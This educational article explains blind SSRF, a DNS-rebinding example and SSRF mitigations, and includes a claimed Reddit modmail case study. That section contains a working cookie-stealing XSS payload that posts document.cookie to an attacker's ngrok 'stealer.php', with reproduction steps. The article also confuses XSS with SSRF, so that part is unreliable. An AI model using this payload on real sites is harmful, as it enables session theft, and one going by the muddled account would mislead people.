EXPLORING BLIND SSRF (SERVER-SIDE REQUEST FORGERY) AND MITIGATIONS

Let us delve into the concept of Server-side request Forged (SSRF), a security vulnerability that allows an attacker to trick a server into performing unintended requests on their behalf. In an SSRF attack, the server is tricked into connecting to external or internal resources, potentially exposing sensitive information or allowing unauthorized access.

This occurs when an application accepts user-provided URLs or other remote resources and doesn’t correctly validate them. Suppose the attacker can control or influence the target of these requests. In that case, they can make the server access internal services (like databases, internal APIs, or other restricted resources) or connect to external malicious sites. This can lead to data breaches, unauthorized access, or even remote code execution in severe cases.

A typical example is a web application that lets users provide a URL to fetch content without proper validation. An attacker could input a URL pointing to a sensitive internal service, and the server would unknowingly grant them access.

Blind Server-Side Request Forgery (SSRF) is a vulnerability where attackers manipulate a server to access unauthorized or internal endpoints, even without receiving any direct feedback or response from the server. Unlike traditional SSRF, where an attacker can see the reactions and interact with the server based on returned data, blind SSRF operates without visible feedback, making it more challenging to exploit. Attackers, therefore, rely on indirect clues, such as server behavior or response times, to gauge the success of their exploit. The difficulty lies in confirming that the request reached the intended target without the clarity of a server response. However, the vulnerability can still lead to severe consequences if an attacker can verify their requests through side channels.

In a typical blind SSRF attack, the attacker begins by identifying a web endpoint that accepts URLs from users as input, often found in features such as URL preview generators, file downloaders, or metadata fetchers. By exploiting this functionality, the attacker crafts a request with a URL that targets an internal or sensitive resource, such as an administrative interface, configuration services, or a cloud provider’s metadata API. For example, in cloud environments like AWS, metadata services at URLs like http://169.254.169.254/latest/meta-data/ may store sensitive information, including credentials and tokens, which attackers can try to access. Since the server has access to internal resources that an external attacker cannot reach directly, exploiting SSRF allows the attacker to leverage the server’s network permissions to access restricted endpoints.

However, because blind SSRF attacks do not provide direct server feedback, attackers must rely on indirect indicators that confirm the server processed the request. Observable clues such as response delays, server behavior changes, or error messages can hint at whether the server interacted with the targeted resource. Additionally, attackers often use “out-of-band” techniques, which employ external services that can log or detect when a specific server interaction occurs. For example, the attacker may embed a custom domain under their control within the URL, like http://unique-id.attacker-domain.com. If the server attempts to access this URL, it triggers a DNS request to the attacker’s domain, which they can monitor. By checking DNS logs, the attacker can see that the server reached out to their domain, confirming that the blind SSRF was successful.

Attackers map out internal network services by targeting different IP addresses or ports. By observing differences in response time or server behavior, the attacker can infer which services are available, gradually building an internal network map for further exploitation.

Explanation of the diagram:

This illustrates the Blind SSRF attack, which involves a time-of-check, time-of-use (TOCTOU) vulnerability. In this attack, an attacker manipulates a server to make unauthorized requests to internal services.

Initiation by Attacker: The process begins with the attacker sending a request to the vulnerable server (in this case, a WordPress instance), asking it to ping back to a domain they control, called evil.tld.

DNS Validation Step: The WordPress instance performs a DNS lookup to validate evil.tld by querying the attacker’s DNS server. The attacker’s DNS server responds by providing a public IP address, like 1.1.1.1, making the request appear legitimate.

Time of Check: The WordPress server now believes evil.tld points to a safe, public IP address (1.1.1.1). This is the “time of check,” where the server thinks it has verified the domain.

DNS Manipulation: At this point, the attacker changes the DNS resolution of evil.tld on their DNS server, pointing it to an internal IP address (e.g., 10.0.1.21), which belongs to a sensitive internal service.

Time of Use: When the WordPress server makes the actual request to evil.tld, it performs another DNS lookup. This time, the attacker’s DNS server responds with the internal IP 10.0.1.21. Since the domain was already validated, the WordPress server proceeded with the request.

Request Sent to Internal Server: Finally, the WordPress server sends a request to the internal IP 10.0.1.21, accessing an internal service that should not be exposed to external users. This allows the attacker to interact with internal services or indirectly retrieve sensitive information without direct feedback.

This attack combines Blind SSRF with a TOCTOU vulnerability. The attacker takes advantage of the time gap between the initial check and the request to manipulate DNS responses and access internal resources.

Exploring the vulnerability in Wild

Now that everyone understands let’s dive even deeper. I’ll walk you through an example of a blind SSRF vulnerability I discovered on Reddit. While I won’t reveal the specific vulnerability, I’ll demonstrate the same concept using a similar example.

Tool

For this attack, I used a tool called Ngrok. This is a tool that creates secure tunnels to expose local servers to the Internet. Typically, developers use it to test applications that require external access, such as webhooks and IoT devices, or to share local demos. However, in this scenario, Ngrok is used to capture sensitive data from the victim’s browser.

How Ngrok Works

When you start Ngrok on your machine, it provides a unique public URL (e.g., https://yourngrok.url) that directs traffic to a specific port on your local machine, effectively routing internet traffic to your local server. Ngrok handles the network setup, routing, and encryption, making it accessible and secure for legitimate use cases.

Script/Payload used for this

<script> fetch(‘yourngrok.url/hacking/stealer.php?NewCookies=’+document.cookie, { method: ‘POST’, mode: ‘no-cors’, body:document.cookie }); </script>

What this code does:

When this script runs in a victim’s browser Ngrok’s URL, specifically to the stealer.php script. This server-side script (stealer.php) on the attacker’s machine can then log or process the stolen cookies, potentially granting the attacker access to the user’s session or other sensitive information stored in cookies.

Vulnerable link:

https://mod.reddit.com/mail/perma/u1hou

What I did to reproduce:

  1. I created accounts A and B.
  2. Then, I created a community with account A.
  3. Then, I requested to join the community from account B and send a message with the payload.
  4. Then we will receive a message in the modmail.
  5. Insert the payload in message parameter.
  6. Check in the server log. (NOTE: it might take several minutes with in range of 1-10mins; For me it was around 4mins)

We’ll get response from:

https://www.reddit.com/message/compose?to=/r/test_h1

And already have response from:

https://mod.reddit.com/mail/all/u6paz

In sever log we’ll receive internal IP address with cookies.

What is happening?

  1. Setting Up the Payload and Ngrok Server
  2. The attacker writes a JavaScript payload:
  3. This payload sends the user’s cookies to the attacker’s Ngrok URL. The stealer.php script on the Ngrok server is set up to receive and log any data sent to it.
  4. Triggering the Payload via Reddit Messages
  5. The attacker creates two accounts (A and B) to facilitate the exploitation.
  6. Account A creates a community, and Account B requests to join the community. During this request, Account B sends a message containing the payload to Account A via Reddit’s modmail (the message system for moderators).
  7. When Account A, as the moderator, opens the modmail message, the payload is executed in the context of the moderator’s browser.
  8. Execution of the Payload (Blind SSRF with XSS)
  9. The script runs in their browser when the moderator (Account A) opens the message with the embedded payload.
  10. The fetch function in the payload sends a request to the attacker’s Ngrok URL (yourngrok.url/hacking/stealer.php), appending the user’s cookies (document.cookie) as a query parameter and in the request body.
  11. Since the payload uses the mode: ‘no-cors,’ the browser doesn’t enforce Cross-Origin Resource Sharing (CORS) policies, allowing it to send the data to an external domain without warnings or restrictions. However, it does not allow the attacker to access the server’s response.
  12. Receiving and Logging the Stolen Cookies
  13. On the Ngrok server, the stealer.php script logs or stores the cookies received from the victim (Account A).
  14. This captured cookie data may contain session information, authentication tokens, or other sensitive information that grants the attacker access to the victim’s account or resources.
  15. Confirming the Attack and Extracting Information
  16. After several minutes, the attacker checks their server logs and sees incoming requests from the moderator’s browser.
  17. In this case, they observe the internal IP address of the moderator’s network and its cookies, which the Ngrok server has captured.

What This Exploitation Achieves

  • Cookie Theft: The attacker gains access to the moderator’s session cookies, which may allow them to impersonate the moderator or access privileged areas of Reddit or the community.
  • Internal Information Leak: By observing the internal IP address of the moderator’s network, the attacker may gain insight into the internal network architecture of the victim.
  • Blind SSRF Exploitation: The attacker achieves Blind SSRF by embedding the payload in a way that indirectly triggers a server-side request (from the moderator’s browser). The server sends the cookies without a direct response, making it a “blind” attack.

Summary of Vulnerability Exploitation

This exploitation combines Blind SSRF with Cross-Site Scripting (XSS) to exfiltrate cookies and network information. The attack relies on the victim (Account A) unknowingly executing the attacker’s payload, which is embedded in a modmail message. This vulnerability allows the attacker to access sensitive information from the victim’s browser and internal network without their knowledge, making it a serious security threat. Proper sanitization, content security policies, and cookie settings (such as HttpOnly and SameSite) could help prevent such exploits.

Is this a bug?

NO! it’s not, it’s just an example as what we are noticing is how Reddit scraper works, which generates thumbnails for the links submitted. Reference for legacy which is very similar to how it’s used today. We use https://github.com/JordanMilne/Advocate to buffer ourselves against SSRF attacks which restricts internal IP and DNS hits.

Mitigations

Implementing the following four strategies together creates a robust defense against SSRF vulnerabilities. By controlling accessible destinations and carefully handling user input, responses, and redirects, these measures significantly reduce the likelihood of successful SSRF attacks. This approach restricts potentially harmful requests and limits the information exposed to users, effectively minimizing the attack surface.

Sanitize User Input

  1. Validate URLs Thoroughly: Ensure that all user-provided URLs or IPs are sanitized and checked against strict patterns. Block URLs with suspicious elements like @, #, or encoded sequences that could mask the destination.
  2. Enforce Expected URL Formats: Use regular expressions or other validation methods to match URLs against a known, safe pattern or domain. Only allow URLs that strictly conform to the expected format and block those that might access internal networks.
  3. Limit to Required Protocols: Only permit safe protocols, such as http and https. Block risky protocols like ftp, file, and gopher, which attackers might exploit to gain unauthorized access to internal resources.

Avoid Raw Responses

  1. Carefully Handle Response Data: Avoid sending raw or detailed server responses to the user. Instead, limit the information displayed to prevent attackers from gathering insights about the server’s internal structure.
  2. Generalized Error Messages: Provide a generic error message rather than specific details when an error occurs. This prevents attackers from gaining valuable information that could help refine their approach.
  3. Filter External Response Content: If external content needs to be shown to the user, filter and sanitize it to remove sensitive or unnecessary data. This protects against attackers retrieving unexpected information through SSRF.

Disallow Redirects

  1. Prevent Unintended Redirects: Block any redirects in server requests, as open redirects are often exploited in SSRF attacks to reach unauthorized locations.
  2. Validate Redirect Destinations: If redirects are essential, ensure that they only lead to pre-approved, whitelisted domains or URLs that match specific patterns. This means attackers cannot use redirects to reach restricted resources.
  3. Use Relative Paths for Safe Redirects: When redirecting within the application, use relative paths instead of absolute URLs. This prevents attackers from manipulating redirects to external sites.

Enforce an Allow List

  1. Limit Requests to Approved Domains: Restrict outgoing requests to a list of safe, approved domains or IPs. This approach prevents the application from making unauthorized connections to potentially malicious or unintended destinations.
  2. Exclude Internal IP Ranges: Explicitly block requests to internal network addresses (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x) to prevent access to sensitive internal services and infrastructure.
  3. Real-Time Allow List Verification: If user-defined URLs are accepted, validate them against the allow list dynamically. This helps catch any unauthorized URLs before they are processed, adding an extra layer of protection.

These strategies create a strong barrier against SSRF attacks by enforcing destination restrictions and carefully managing how user input and requests are handled. This layered approach reduces the attack surface, making it much harder for attackers to exploit SSRF vulnerabilities

Discussion Questions

Question 1:

What is the main difference between traditional SSRF and blind SSRF vulnerabilities?

Question 2:

How can an attacker use DNS exfiltration to confirm a blind SSRF vulnerability?

Question 3:

What are some effective ways to mitigate Blind SSRF vulnerabilities?

Leave a comment